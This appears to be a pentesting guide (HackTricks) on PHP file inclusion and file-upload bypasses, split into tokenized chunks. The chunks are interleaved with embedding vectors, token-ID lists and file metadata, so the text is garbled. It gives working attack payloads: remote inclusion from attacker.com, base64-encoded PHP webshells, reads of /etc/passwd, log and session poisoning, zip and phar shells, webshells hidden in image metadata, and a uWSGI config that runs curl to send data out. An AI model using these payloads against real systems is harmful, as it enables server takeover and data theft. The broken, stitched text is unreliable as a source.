in that case you could include a php file from your server and get rce : http : / / example. com / index. php? page = http : / / atacker. com / mal. phphttp : / / example. com / index. php? page = \ \ attacker. com \ shared \ mal. phpif for some reason allow _ url _ include is on, but php is filtering access to external webpages, according to this post, you could use for example the data protocol with base64 to decode a b64 php code and egt rce : php : / / filter / convert. base64 - decode / resource = data : / / plain / text, pd9wahagc3lzdgvtkcrfr0vuwydjbwqnxsk7zwnobyanu2hlbgwgzg9uzsahjzsgpz4 +. txtin the previous code, the final +. txt was added because the attacker needed a string that ended in. txt, so the string ends with it and after the b64 decode that part will return just junk and the real php code will be included ( and therefore, executed ). another example not using the php : / / protocol would be : data : / / text / plain ; base64, pd9wahagc3lzdgvtkcrfr0vuwydjbwqnxsk7zwnobyanu2hlbgwgzg9uzsahjzsgpz4 + txtpython root elementin python in a code like this one : # file _ name is controlled by a useros. path. join ( os. getcwd ( ), " public ", file _ name ) if the user passes an absolute path to file _ name, the previous path is just removed : os. path. join ( os. getcwd ( ), " public ", " / etc / passwd " )'/ etc / passwd'it is the intended behaviour according to the docs : if a component is an absolute path, all previous components are thrown away and joining continues from the absolute path component. java list directoriesit looks like if you have a path traversal in java and you ask for a directory instead of a file, a listing of the directory is returned. this won't be happening in other languages ( afaik ). top
[ 0.004522934090346098, 0.09562532603740692, -0.06858208030462265, 0.39879000186920166, -0.3231298327445984, -0.099567711353302, -0.2097145915031433, -0.24949774146080017, 0.40055304765701294, 1.412980556488037, 0.46447715163230896, -0.13319341838359833, 0.32137104868888855, -0.3253578543663...
[ 1999, 2008, 2553, 2017, 2071, 2421, 1037, 25718, 5371, 2013, 2115, 8241, 1998, 2131, 22110, 2063, 1024, 8299, 1024, 1013, 1013, 2742, 1012, 4012, 1013, 5950, 1012, 25718, 1029, 3931, 1027, 8299, 1024, 1013, 1013, 29533, 9102, 1012, 4012, ...
hack_tricks
158.txt
4
25 parametershere ’ s list of top 25 parameters that could be vulnerable to local file inclusion ( lfi ) vulnerabilities ( from link ) :? cat = { payload }? dir = { payload }? action = { payload }? board = { payload }? date = { payload }? detail = { payload }? file = { payload }? download = { payload }? path = { payload }? folder = { payload }? prefix = { payload }? include = { payload }? page = { payload }? inc = { payload }? locate = { payload }? show = { payload }? doc = { payload }? site = { payload }? type = { payload }? view = { payload }? content = { payload }? document = { payload }? layout = { payload }? mod = { payload }? conf = { payload } lfi / rfi using php wrappers & protocolsphp : / / filterphp filters allow perform basic modification operations on the data before being it's read or written. there are 5 categories of filters : string filters : string. rot13string. toupperstring. tolowerstring. strip _ tags : remove tags from the data ( everything between " < " and " > " chars ) note that this filter has disappear from the modern versions of phpconversion filtersconvert. base64 - encodeconvert. base64 - decodeconvert. quoted - printable - encodeconvert. quoted - printable - decodeconvert. iconv. * : transforms to a different encoding ( convert. iconv. < input _ enc >. < output _ enc > ). to get the list of all the encodings supported run in the console : iconv - labusing the convert. iconv. * conversion filter you can generate arbitrary text, which could be useful to write arbitrary text or make a function like include process arbitrary text. for more info check lfi2rce via php filters. compression filterszlib. deflate : compress the content ( useful if exfiltrating a lot of info ) zlib. inflate : decompress the dataencryption filtersmcrypt. * : deprecatedmdecrypt. * : deprecatedother filtersrunning in php var _ dump ( stream _ get _ filters ( ) ) ; you can find a couple of unexpected filters : consumeddechunk
[ 0.5131598114967346, -0.26506343483924866, -0.048766735941171646, 0.9677196145057678, -0.25510174036026, 0.1124734953045845, -0.34362658858299255, -0.07614466547966003, 0.47911518812179565, 0.20767904818058014, 0.3270580768585205, -0.14554648101329803, -0.04917553439736366, -0.0396769642829...
[ 2423, 11709, 5886, 2063, 1521, 1055, 2862, 1997, 2327, 2423, 11709, 2008, 2071, 2022, 8211, 2000, 2334, 5371, 10502, 1006, 1048, 8873, 1007, 24728, 19666, 6906, 14680, 1006, 2013, 4957, 1007, 1024, 1029, 4937, 1027, 1063, 18093, 1065, 1029,...
hack_tricks
158.txt
5
: reverses http chunked encodingconvert. * # string filters # # chain string. toupper, string. rot13 and string. tolower reading / etc / passwdecho file _ get _ contents ( " php : / / filter / read = string. toupper | string. rot13 | string. tolower / resource = file : / / / etc / passwd " ) ; # # same chain without the " | " charecho file _ get _ contents ( " php : / / filter / string. toupper / string. rot13 / string. tolower / resource = file : / / / etc / passwd " ) ; # # string. string _ tags exampleecho file _ get _ contents ( " php : / / filter / string. strip _ tags / resource = data : / / text / plain, < b > bold < / b > <? php php code ;? > lalalala " ) ; # conversion filter # # b64 decodeecho file _ get _ contents ( " php : / / filter / convert. base64 - decode / resource = data : / / plain / text, agvsbg8 = " ) ; # # chain b64 encode and decodeecho file _ get _ contents ( " php : / / filter / convert. base64 - encode | convert. base64 - decode / resource = file : / / / etc / passwd " ) ; # # convert. quoted - printable - encode exampleecho file _ get _ contents ( " php : / / filter / convert. quoted - printable - encode / resource = data : / / plain / text, Β£hellooo = " ) ; = c2 = a3hellooo = 3d # # convert. iconv. utf - 8. utf - 16leecho file _ get _ contents ( " php : / / filter / convert. iconv. utf - 8. utf - 16le / resource = data : / / plain / text, trololohellooo = " ) ; # compresion filter # # compress + b64echo file _ get _ contents ( " php : / / filter / zlib. deflate / convert. base64 - encode / resource = file : / / / etc / passwd " ) ; readfile ('php : / / filter / zlib. inflate /
[ 0.10468783974647522, -0.47085142135620117, 0.22362020611763, 0.1493910700082779, 0.34575891494750977, -0.49572715163230896, -0.381054162979126, 0.40389326214790344, 0.5008456707000732, 0.26003482937812805, -0.20871186256408691, -0.2124931812286377, 0.33004307746887207, -0.06847162544727325...
[ 1024, 7901, 2015, 8299, 20000, 2098, 17181, 8663, 16874, 1012, 1008, 1001, 5164, 17736, 1001, 1001, 4677, 5164, 1012, 2000, 29547, 2099, 1010, 5164, 1012, 18672, 17134, 1998, 5164, 1012, 2000, 27663, 2099, 3752, 1013, 4385, 1013, 3413, 2172...
hack_tricks
158.txt
6
resource = test. deflated') ; # to decompress the data locally # note that php protocol is case - inselective ( that's mean you can use " php : / / " and any other varient ) the part " php : / / filter " is case insensitivephp : / / fdthis wrapper allows to access file descriptors that the process has open. potentially useful to exfiltrate the content of opened files : echo file _ get _ contents ( " php : / / fd / 3 " ) ; $ myfile = fopen ( " / etc / passwd ", " r " ) ; you can also use php : / / stdin, php : / / stdout and php : / / stderr to access the file descriptors 0, 1 and 2 respectively ( not sure how this could be useful in an attack ) zip : / / and rar : / / upload a zip or rar file with a phpshell inside and access it. in order to be able to abuse the rar protocol it need to be specifically activated. echo " < pre > <? php system ( $ _ get ['cmd'] ) ;? > < / pre > " > payload. php ; zip payload. zip payload. php ; mv payload. zip shell. jpg ; rm payload. phphttp : / / example. com / index. php? page = zip : / / shell. jpg % 23payload. php # to compress with rarrar a payload. rar payload. php ; mv payload. rar shell. jpg ; rm payload. phphttp : / / example. com / index. php? page = rar : / / shell. jpg % 23payload. phpdata : / / http : / / example. net /? page = data : / / text / plain, <? php echo base64 _ encode ( file _ get _ contents ( " index. php " ) ) ;? > http : / / example. net /? page = data : / / text / plain, <? php phpinfo ( ) ;? > http : / / example. net /? page = data : / / text / plain ; base64, pd9wahagc3lzdgvtkcrfr0vuwydjbwqnxsk7zwn
[ 0.6042370796203613, -0.17226770520210266, 0.47377872467041016, 1.0120145082473755, -0.35382696986198425, -0.2070014923810959, -0.6996264457702637, -0.1965600699186325, 0.10349824279546738, 0.9925919771194458, 0.6489231586456299, 0.05176752060651779, 0.6409649848937988, -0.538390040397644, ...
[ 7692, 1027, 3231, 1012, 13366, 13776, 1005, 1007, 1025, 1001, 2000, 21933, 8737, 8303, 1996, 2951, 7246, 1001, 3602, 2008, 25718, 8778, 2003, 2553, 1011, 16021, 12260, 15277, 1006, 2008, 1005, 1055, 2812, 2017, 2064, 2224, 1000, 25718, 1024...
hack_tricks
158.txt
7
##obyanu2hlbgwgzg9uzsahjzsgpz4 = http : / / example. net /? page = data : text / plain, <? php echo base64 _ encode ( file _ get _ contents ( " index. php " ) ) ;? > http : / / example. net /? page = data : text / plain, <? php phpinfo ( ) ;? > http : / / example. net /? page = data : text / plain ; base64, pd9wahagc3lzdgvtkcrfr0vuwydjbwqnxsk7zwnobyanu2hlbgwgzg9uzsahjzsgpz4 = note : the payload is " <? php system ( $ _ get ['cmd'] ) ; echo'shell done!';? > " fun fact : you can trigger an xss and bypass the chrome auditor with : url that this protocol is restricted by php configurations allow _ url _ open and allow _ url _ includeexpect : / / expect has to be activated. you can execute code using this. http : / / example. com / index. php? page = expect : / / idhttp : / / example. com / index. php? page = expect : / / lsinput : / / specify your payload in the post parametershttp : / / example. com / index. php? page = php : / / inputpost data : <? php system ('id') ;? > phar : / / a. phar file can be also used to execute php code if the web is using some function like include to load the file. create _ phar. php <? php $ phar = new phar ('test. phar') ; $ phar - > startbuffering ( ) ; $ phar - > addfromstring ('test. txt ','text') ; $ phar - > setstub ('<? php _ _ halt _ compiler ( ) ; system ( " ls " ) ;? >') ; $ phar - > stopbuffering ( ) ; and you can compile the phar executing the following line : php - - define phar. readonly = 0 create _ path. phpa file called test. phar will be
[ 0.0380864292383194, -0.09498199820518494, 0.015674924477934837, 0.7259471416473389, -0.17452028393745422, -0.12730473279953003, -0.6276194453239441, 0.07840078324079514, 0.37926095724105835, 0.5212485194206238, 0.2792908251285553, -0.11216699331998825, 0.1901092678308487, -0.16410027444362...
[ 16429, 7054, 2226, 2475, 7317, 2497, 2290, 27767, 2480, 2290, 2683, 17040, 3736, 2232, 3501, 2480, 28745, 2361, 2480, 2549, 1027, 8299, 1024, 1013, 1013, 2742, 1012, 5658, 1013, 1029, 3931, 1027, 2951, 1024, 3793, 1013, 5810, 1010, 1026, ...
hack_tricks
158.txt
8
generated that you can use to abuse the lfi. if the lfi is just reading the file and not executing the php code inside of it, for example using functions like file _ get _ contents ( ), fopen ( ), file ( ) or file _ exists ( ), md5 _ file ( ), filemtime ( ) or filesize ( ). you can try to abuse a deserialization occurring when reading a file using the phar protocol. for more information read the following post : phar : / / deserializationmore protocolscheck more possible protocols to include here : php : / / memory and php : / / temp β€” write in memory or in a temporary file ( not sure how this can be useful in a file inclusion attack ) file : / / β€” accessing local filesystemhttp : / / β€” accessing http ( s ) urlsftp : / / β€” accessing ftp ( s ) urlszlib : / / β€” compression streamsglob : / / β€” find pathnames matching pattern ( it doesn't return nothing printable, so not really useful here ) ssh2 : / / β€” secure shell 2ogg : / / β€” audio streams ( not useful to read arbitrary files ) lfi via php's'assert'if you encounter a difficult lfi that appears to be filtering traversal strings such as ".. " and responding with something along the lines of " hacking attempt " or " nice try! ", an'assert'injection payload may work. a payload like this :'and die ( show _ source ('/ etc / passwd') ) or'will successfully exploit php code for a " file " parameter that looks like this : assert ( " strpos ('$ file ', '..') = = = false " ) or die ( " detected hacking attempt! " ) ; it's also possible to get rce in a vulnerable " assert " statement using the system ( ) function :'and die ( system ( " whoami " ) ) or'be sure to url - encode payloads before you send them. hackenproof is home to all crypto bug bounties. get rewarded without delays hackenproofphp blind path traversalthis technique is relevant in cases where you control the file path of a php function that will access a file but you won't see the content of the file ( like a simple call to file (
[ 0.04503921419382095, 0.3611493408679962, 0.2680782377719879, 0.6843990683555603, -0.6510304808616638, -0.3382229804992676, -0.42631641030311584, 0.11189553141593933, 0.17896507680416107, 1.4560503959655762, 0.26381438970565796, 0.18204070627689362, 0.2861311137676239, -0.3655245006084442, ...
[ 7013, 2008, 2017, 2064, 2224, 2000, 6905, 1996, 1048, 8873, 1012, 2065, 1996, 1048, 8873, 2003, 2074, 3752, 1996, 5371, 1998, 2025, 23448, 1996, 25718, 3642, 2503, 1997, 2009, 1010, 2005, 2742, 2478, 4972, 2066, 5371, 1035, 2131, 1035, 84...
hack_tricks
158.txt
9
) ) but the content is not shown. in this incredible post it's explained how a blind path traversal can be abused via php filter to exfiltrate the content of a file via an error oracle. as sumary, the technique is using the " ucs - 4le " encoding to make the content of a file so big that the php function opening the file will trigger an error. then, in order to leak the first char the filter dechunk is used along with other such as base64 or rot13 and finally the filters convert. iconv. ucs - 4. ucs - 4le and convert. iconv. utf16. utf - 16be are used to place other chars at the beggining and leak them. functions that might be vulnerable : file _ get _ contents, readfile, finfo - > file, getimagesize, md5 _ file, sha1 _ file, hash _ file, file, parse _ ini _ file, copy, file _ put _ contents ( only target read only with this ), stream _ get _ contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputsfor the technical details check the mentioned post! lfi2rceremote file inclusionexplained previously, follow this link. via apache / nginx log fileif the apache or nginx server is vulnerable to lfi inside the include function you could try to access to / var / log / apache2 / access. log or / var / log / nginx / access. log, set inside the user agent or inside a get parameter a php shell like <? php system ( $ _ get ['c'] ) ;? > and include that filenote that if you use double quotes for the shell instead of simple quotes, the double quotes will be modified for the string " quote ; ", php will throw an error there and nothing else will be executed. also, make sure you write correctly the payload or php will error every time it tries to load the log file and you won't have a second opportunity. this could also be done in other logs but be careful, the code inside the logs could be url encoded and this could destroy the shell. the header authorisation " basic " contains " user : password " in base64 and it is decoded inside the logs. the phpshell could be inserted inside this header.
[ 0.12123113870620728, 0.027279948815703392, 0.49717074632644653, 1.1052534580230713, -0.24256953597068787, -0.6617629528045654, -0.19008928537368774, -0.2097582370042801, 0.38548845052719116, 0.8280320167541504, 0.36639466881752014, 0.2488972395658493, 0.7785016894340515, -0.236959680914878...
[ 1007, 1007, 2021, 1996, 4180, 2003, 2025, 3491, 1012, 1999, 2023, 9788, 2695, 2009, 1005, 1055, 4541, 2129, 1037, 6397, 4130, 29053, 2389, 2064, 2022, 16999, 3081, 25718, 11307, 2000, 4654, 8873, 7096, 11657, 1996, 4180, 1997, 1037, 5371, ...
hack_tricks
158.txt
10
other possible log paths : / var / log / apache2 / access. log / var / log / apache / access. log / var / log / apache2 / error. log / var / log / apache / error. log / usr / local / apache / log / error _ log / usr / local / apache2 / log / error _ log / var / log / nginx / access. log / var / log / nginx / error. log / var / log / httpd / error _ logfuzzing wordlist : url emailsend a mail to a internal account ( user @ localhost ) containing your php payload like <? php echo system ( $ _ request [ " cmd " ] ) ;? > and try to include to the mail of the user with a path like / var / mail / < username > or / var / spool / mail / < username > via / proc / * / fd / * 1. upload a lot of shells ( for example : 100 ) 2. include url with $ pid = pid of the process ( can be brute forced ) and $ fd the file descriptor ( can be brute forced too ) via / proc / self / environlike a log file, send the payload in the user - agent, it will be reflected inside the / proc / self / environ fileget vulnerable. php? filename =.. /.. /.. / proc / self / environ http / 1. 1user - agent : <? = phpinfo ( ) ;? > via uploadif you can upload a file, just inject the shell payload in it ( e. g : <? php system ( $ _ get ['c'] ) ;? > ). http : / / example. com / index. php? page = path / to / uploaded / file. pngin order to keep the file readable it is best to inject into the metadata of the pictures / doc / pdfvia zip fie uploadupload a zip file containing a php shell compressed and access : example. com / page. php? file = zip : / / path / to / zip / hello. zip % 23rce. phpvia php sessionscheck if the website use php session ( phpsessid ) set - cookie : phpsessid = i56kgbsq9rm8
[ 0.05704180523753166, 0.313053697347641, 0.0577201247215271, 0.6301589608192444, -0.32366639375686646, 0.0332832895219326, -0.6448221802711487, 0.6394686698913574, 0.5293100476264954, 0.9650716185569763, 0.7014545798301697, 0.7154753804206848, 0.27942055463790894, 0.07102571427822113, -0....
[ 2060, 2825, 8833, 10425, 1024, 1013, 13075, 1013, 8833, 1013, 15895, 2475, 1013, 3229, 1012, 8833, 1013, 13075, 1013, 8833, 1013, 15895, 1013, 3229, 1012, 8833, 1013, 13075, 1013, 8833, 1013, 15895, 2475, 1013, 7561, 1012, 8833, 1013, 13075...
hack_tricks
158.txt
11
##ndg3qbarhsbm27 ; path = / set - cookie : user = admin ; expires = mon, 13 - aug - 2018 20 : 21 : 29 gmt ; path = / ; url php these sessions are stored into / var / lib / php5 / sess \ [ phpsessid ] _ files / var / lib / php5 / sess _ i56kgbsq9rm8ndg3qbarhsbm27. user _ ip | s : 0 : " " ; loggedin | s : 0 : " " ; lang | s : 9 : " en _ us. php " ; win _ lin | s : 0 : " " ; user | s : 6 : " admin " ; pass | s : 6 : " admin " ; set the cookie to <? php system ('cat / etc / passwd') ;? > login = 1 & user = <? php system ( " cat / etc / passwd " ) ;? > & pass = password & lang = en _ us. phpuse the lfi to include the php session filelogin = 1 & user = admin & pass = password & lang = /.. /.. /.. /.. /.. /.. /.. /.. /.. / var / lib / php5 / sess _ i56kgbsq9rm8ndg3qbarhsbm2via sshif ssh is active check which user is being used ( / proc / self / status & / etc / passwd ) and try to access < home > /. ssh / id _ rsavia vsftpd logsthe logs of this ftp server are stored in / var / log / vsftpd. log. if you have a lfi and can access a exposed vsftpd server, you could try to login setting the php payload in the username and then access the logs using the lfi. via php base64 filter ( using base64 ) as shown in this article, php base64 filter just ignore non - base64. you can use that to bypass the file extension check : if you supply base64 that ends with ". php ", and it would just ignore the ". " and append " php " to the base64. here is an example payload : http : / / example. com / index. php? page = php :
[ 0.31654036045074463, 0.4108878970146179, 0.0961870402097702, 0.4870951771736145, -0.008675236254930496, -0.7397779822349548, -0.29584887623786926, 0.311938613653183, 0.23032554984092712, 0.7444868683815002, 0.16297011077404022, -0.1431262344121933, 0.7444685697555542, -0.6317326426506042, ...
[ 4859, 2290, 2509, 4160, 8237, 7898, 25526, 22907, 1025, 4130, 1027, 1013, 2275, 1011, 17387, 1024, 5310, 1027, 4748, 10020, 1025, 4654, 20781, 2015, 1027, 12256, 1010, 2410, 1011, 15476, 1011, 2760, 2322, 1024, 2538, 1024, 2756, 13938, 2102...
hack_tricks
158.txt
12
/ / filter / convert. base64 - decode / resource = data : / / plain / text, pd9wahagc3lzdgvtkcrfr0vuwydjbwqnxsk7zwnobyanu2hlbgwgzg9uzsahjzsgpz4 +. phpnote : the payload is " <? php system ( $ _ get ['cmd'] ) ; echo'shell done!';? > " via php filters ( no file needed ) this writeup explains that you can use php filters to generate arbitrary content as output. which basically means that you can generate arbitrary php code for the include without needing to write it into a file. lfi2rce via php filtersvia segmentation faultupload a file that will be stored as temporary in / tmp, then in the same request, trigger a segmentation fault, and then the temporary file won't be deleted and you can search for it. lfi2rce via segmentation faultvia nginx temp file storageif you found a local file inclusion and nginx is running in front of php you might be able to obtain rce with the following technique : lfi2rce via nginx temp filesvia php _ session _ upload _ progressif you found a local file inclusion even if you don't have a session and session. auto _ start is off. if you provide the php _ session _ upload _ progress in multipart post data, php will enable the session for you. you could abuse this to get rce : lfi2rce via php _ session _ upload _ progressvia temp file uploads in windowsif you found a local file inclusion and and the server is running in windows you might get rce : lfi2rce via temp file uploadsvia phpinfo ( ) ( file _ uploads = on ) if you found a local file inclusion and a file exposing phpinfo ( ) with file _ uploads = on you can get rce : lfi2rce via phpinfo ( ) via compress. zlib + php _ stream _ prefer _ studio + path disclosureif you found a local file inclusion and you can exfiltrate the path of the temp file but the server is checking if the file to be included has php marks, you can try to bypass that check with this race condition : lfi2rce via
[ 0.19692882895469666, 0.6712349057197571, 0.09396634250879288, 0.7733700275421143, -0.5986001491546631, -0.537287175655365, -0.7142980694770813, -0.3053855299949646, 0.19712327420711517, 1.0299081802368164, 0.4387410581111908, 0.02295161411166191, 0.520734965801239, -0.31752246618270874, ...
[ 1013, 1013, 11307, 1013, 10463, 1012, 2918, 21084, 1011, 21933, 3207, 1013, 7692, 1027, 2951, 1024, 1013, 1013, 5810, 1013, 3793, 1010, 22851, 2683, 4213, 3270, 18195, 2509, 23858, 2094, 2290, 2615, 2102, 2243, 26775, 19699, 2692, 19722, 18...
hack_tricks
158.txt
13
compress. zlib + php _ stream _ prefer _ studio + path disclosurevia eternal waiting + bruteforceif you can abuse the lfi to upload temporary files and make the server hang the php execution, you could then brute force filenames during hours to find the temporary file : lfi2rce via eternal waitingto fatal errorif you include any of the files / usr / bin / phar, / usr / bin / phar7, / usr / bin / phar. phar7, / usr / bin / phar. phar. ( you need to include the same one 2 time to throw that error ). i don't know how is this useful but it might be. even if you cause a php fatal error, php temporary files uploaded are deleted. [SEP]
[ -0.1242624893784523, 0.547867476940155, 0.5172377824783325, 0.352371484041214, -0.5371330380439758, -0.5098968148231506, -0.44786643981933594, 0.13829413056373596, 0.3463591933250427, 1.0162019729614258, 0.668526828289032, 0.504139244556427, 0.5100634098052979, -0.21356579661369324, -0.3...
[ 4012, 20110, 1012, 1062, 29521, 1009, 25718, 1035, 5460, 1035, 9544, 1035, 2996, 1009, 4130, 19380, 9035, 10721, 3403, 1009, 26128, 14821, 10128, 2017, 2064, 6905, 1996, 1048, 8873, 2000, 2039, 11066, 5741, 6764, 1998, 2191, 1996, 8241, 686...
hack_tricks
158.txt
14
[CLS] file uploadregister - register - file upload general methodologyother useful extensions : php :. php,. php2,. php3,. php4,. php5,. php6,. php7,. phps,. phps,. pht,. phtm,. phtml,. pgif,. shtml,. htaccess,. phar,. inc,. hphp,. ctp,. moduleworking in phpv8 :. php,. php4,. php5,. phtml,. module,. inc,. hphp,. ctpasp :. asp,. aspx,. config,. ashx,. asmx,. aspq,. axd,. cshtm,. cshtml,. rem,. soap,. vbhtm,. vbhtml,. asa,. cer,. shtmljsp :. jsp,. jspx,. jsw,. jsv,. jspf,. wss,. do,. actioncoldfusion :. cfm,. cfml,. cfc,. dbmflash :. swfperl :. pl,. cgierlang yaws web server :. yawsbypass file extensions checks1. if they apply, the check the previous extensions. also test them using some uppercase letters : php,. php5,. phar... 2. check adding a valid extension before the execution extension ( use previous extensions also ) : file. png. phpfile. png. php53. try adding special characters at the end. you could use burp to bruteforce all the ascii and unicode characters. ( note that you can also try to use the previously motioned extensions ) file. php % 20file. php % 0afile. php % 00file. php % 0d % 0afile. php / file. php. \ file. file. php.... file. php5.... 4. try to bypass the protections tricking the extension parser of the server - side with techniques like doubling the extension or adding junk data ( null bytes ) between extensions. you can also use the previous extensions to prepare a better payload. file. png. phpfile. png. php
[ -0.35572052001953125, 0.39189618825912476, -0.04756765812635422, 0.4297378659248352, -0.10221974551677704, 0.20566363632678986, -0.20544254779815674, 0.6642685532569885, 0.5938920378684998, 0.6042672991752625, 0.4069049060344696, -0.22764527797698975, 0.1185988113284111, 0.0635140538215637...
[ 101, 5371, 2039, 11066, 2890, 24063, 2121, 1011, 4236, 1011, 5371, 2039, 11066, 2236, 16134, 14573, 2121, 6179, 14305, 1024, 25718, 1024, 1012, 25718, 1010, 1012, 25718, 2475, 1010, 1012, 25718, 2509, 1010, 1012, 25718, 2549, 1010, 1012, 25...
hack_tricks
159.txt
0
##5file. php #. pngfile. php % 00. pngfile. php \ x00. pngfile. php % 0a. pngfile. php % 0d % 0a. pngfile. phpjunk123png5. add another layer of extensions to the previous check : file. png. jpg. phpfile. php % 00. png % 00. jpg6. try to put the exec extension before the valid extension and pray so the server is misconfigured. ( useful to exploit apache misconfigurations where anything with extension * *. php, but not necessarily ending in. php * * will execute code ) : ex : file. php. png7. using ntfs alternate data stream ( ads ) in windows. in this case, a colon character β€œ : ” will be inserted after a forbidden extension and before a permitted one. as a result, an empty file with the forbidden extension will be created on the server ( e. g. β€œ file. asax :. jpg ” ). this file might be edited later using other techniques such as using its short filename. the β€œ : : $ data ” pattern can also be used to create non - empty files. therefore, adding a dot character after this pattern might also be useful to bypass further restrictions (. e. g. β€œ file. asp : : $ data. ” ) 8. try to break the filename limits. the valid extension gets cut off. and the malicious php gets left. aaa < - - snip - - > aaa. php # linux maximum 255 bytes / usr / share / metasploit - framework / tools / exploit / pattern _ create. rb - l [UNK] # minus 4 here and adding. png # upload the file and check response how many characters it alllows. let's say 236python - c'print " a " * 232'[UNK] # make the payloadaaa < - - snip 232 a - - > aaa. php. pngbypass content - type, magic number, compression & resizingbypass content - type checks by setting the value of the content - type header to : image / png, text / plain, application / octet - stream1. content - type wordlist : url magic number check by adding at the beginning of the file the bytes of a real image (
[ 0.4329316318035126, 0.4637797176837921, 0.25924134254455566, 0.6920188665390015, -0.027274277061223984, -0.29196417331695557, 0.009251353330910206, 0.7132575511932373, 0.6739129424095154, 0.572544276714325, 0.5936910510063171, 0.29931631684303284, 0.5428391098976135, -0.12763312458992004, ...
[ 2629, 8873, 2571, 1012, 25718, 1001, 1012, 1052, 3070, 8873, 2571, 1012, 25718, 1003, 4002, 1012, 1052, 3070, 8873, 2571, 1012, 25718, 1032, 1060, 8889, 1012, 1052, 3070, 8873, 2571, 1012, 25718, 1003, 1014, 2050, 1012, 1052, 3070, 8873, ...
hack_tricks
159.txt
1
confuse the file command ). or introduce the shell inside the metadata : exiftool - comment = " <? php echo'command :'; if ( $ _ post ) { system ( $ _ post ['cmd'] ) ; } _ _ halt _ compiler ( ) ; " img. jpg \ or you could also introduce the payload directly in an image : echo'<? php system ( $ _ request ['cmd'] ) ;? >'> > img. pngif compressions is being added to your image, for example using some standard php libraries like php - gd, the previous techniques won't be useful it. however, you could use the plte chunk technique defined here to insert some text that will survive compression. github with the codethe web page cold also be resizing the image, using for example the php - gd functions imagecopyresized or imagecopyresampled. however, you could use the idat chunk technique defined here to insert some text that will survive compression. github with the codeanother technique to make a payload that survives an image resizing, using the php - gd function thumbnailimage. however, you could use the text chunk technique defined here to insert some text that will survive compression. github with the codeother tricks to checkfind a vulnerability to rename the file already uploaded ( to change the extension ). find a local file inclusion vulnerability to execute the backdoor. possible information disclosure : 1. upload several times ( and at the same time ) the same file with the same name2. upload a file with the name of a file or folder that already exists3. uploading a file with β€œ. ”, β€œ.. ”, or β€œ … ” as its name. for instance, in apache in windows, if the application saves the uploaded files in β€œ / www / uploads / ” directory, the β€œ. ” filename will create a file called β€œ uploads ” in the β€œ / www / ” directory. 4. upload a file that may not be deleted easily such as β€œ … :. jpg ” in ntfs. ( windows ) 5. upload a file in windows with invalid characters such as | < > *? ” in its name. ( windows ) 6. upload a file in windows using reserved ( forbidden ) names such as con, prn, aux, nul, com
[ 0.2980704605579376, 0.33698996901512146, 0.44505923986434937, 0.8140861392021179, -0.7188653945922852, 0.03737637400627136, -0.4131440222263336, -0.3364737927913666, 0.5854511857032776, 1.0532714128494263, 0.6039645671844482, -0.09384067356586456, 0.21040984988212585, -0.41189467906951904,...
[ 28679, 1996, 5371, 3094, 1007, 1012, 2030, 8970, 1996, 5806, 2503, 1996, 27425, 1024, 4654, 10128, 3406, 4747, 1011, 7615, 1027, 1000, 1026, 1029, 25718, 9052, 1005, 3094, 1024, 1005, 1025, 2065, 1006, 1002, 1035, 2695, 1007, 1063, 2291, ...
hack_tricks
159.txt
2
##1, com2, com3, com4, com5, com6, com7, com8, com9, lpt1, lpt2, lpt3, lpt4, lpt5, lpt6, lpt7, lpt8, and lpt9. try also to upload an executable (. exe ) or an. html ( less suspicious ) that will execute code when accidentally opened by victim. special extension tricksif you are trying to upload files to a php server, take a look at the. htaccess trick to execute code. if you are trying to upload files to an asp server, take a look at the. config trick to execute code. the. phar files are like the. jar for java, but for php, and can be used like a php file ( executing it with php, or including it inside a script... ) the. inc extension is sometimes used for php files that are only used to import files, so, at some point, someone could have allow this extension to be executed. jetty rceif you can upload a xml file into a jetty server you can obtain rce because new *. xml and *. war are automatically processed. so, as mentioned in the following image, upload the xml file to $ jetty _ base / webapps / and expect the shell! uwsgi rceif you can replace the. ini configuration file of a uwsgi server you can obtain rce. indeed uwsgi configuration files can include β€œ magic ” variables, placeholders and operators defined with a precise syntax. the β€˜ @ ’ operator in particular is used in the form of @ ( filename ) to include the contents of a file. many uwsgi schemes are supported, including β€œ exec ” - useful to read from a process ’ s standard output. these operators can be weaponized for remote command execution or arbitrary file write / read when a. ini configuration file is parsed : example of malicious uwsgi. ini file : [ uwsgi ] ; read from a symbolfoo = @ ( sym : / / uwsgi _ funny _ function ) ; read from binary appended databar = @ ( data : / / [ redacted ] ) ; read from url = @ ( http : / / [ redacted ] ) ; read from a file descriptorcontent =
[ 0.02635783515870571, -0.16677118837833405, 0.13937893509864807, 0.2195688635110855, -0.5921329855918884, -0.1710364818572998, -0.58039790391922, 0.02051438018679619, 0.15547844767570496, 0.8442525863647461, 0.11264018714427948, 0.08418647199869156, 0.3755693733692169, -0.17541208863258362,...
[ 2487, 1010, 4012, 2475, 1010, 4012, 2509, 1010, 4012, 2549, 1010, 4012, 2629, 1010, 4012, 2575, 1010, 4012, 2581, 1010, 4012, 2620, 1010, 4012, 2683, 1010, 6948, 2102, 2487, 1010, 6948, 2102, 2475, 1010, 6948, 2102, 2509, 1010, 6948, 2102...
hack_tricks
159.txt
3
@ ( fd : / / [ redacted ] ) ; read from a process stdoutbody = @ ( exec : / / whoami ) ; curl to exfil via collaboratorextra = @ ( exec : / / curl url call a function returning a char * characters = @ ( call : / / uwsgi _ func ) when the configuration file will be parsed payload will be executed. note that for the config to be parsed, the process need to be restarted ( crash? dos? ) or the file autoreloaded ( an option that could be in use indicates the seconds to reload the file if a change is found ). important note : the uwsgi parsing of configuration file is lax. the previous payload can be embedded inside a binary file ( e. g. image, pdf,... ). wget file upload / ssrf trickin some occasions you may find that a server is using wget to download files and you can indicate the url. in these cases, the code may be checking that the extension of the downloaded files is inside a whitelist to assure that only allowed files are going to be downloaded. however, this check can be bypassed. the maximum length of a filename in linux is 255, however, wget truncate the filenames to 236 characters. you can download a file called " a " * 232 + ". php " + ". gif ", this filename will bypass the check ( as in this example ". gif " is a valid extension ) but wget will rename the file to " a " * 232 + ". php ". # create file and http serverecho " something " > $ ( python - c'print ( " a " * ( 236 - 4 ) + ". php " + ". gif " )') python3 - m url 9080 # download the filewget 127. 0. 0. 1 : 9080 / $ ( python - c'print ( " a " * ( 236 - 4 ) + ". php " + ". gif " )') the name is too long, 240 chars total. trying to shorten... new name is [UNK]. php. - - 2020 - 06 - 13 03 : 14 : 06 - - url to 127. 0. 0. 1 : 9080... connected. http request sent, awaiting response..
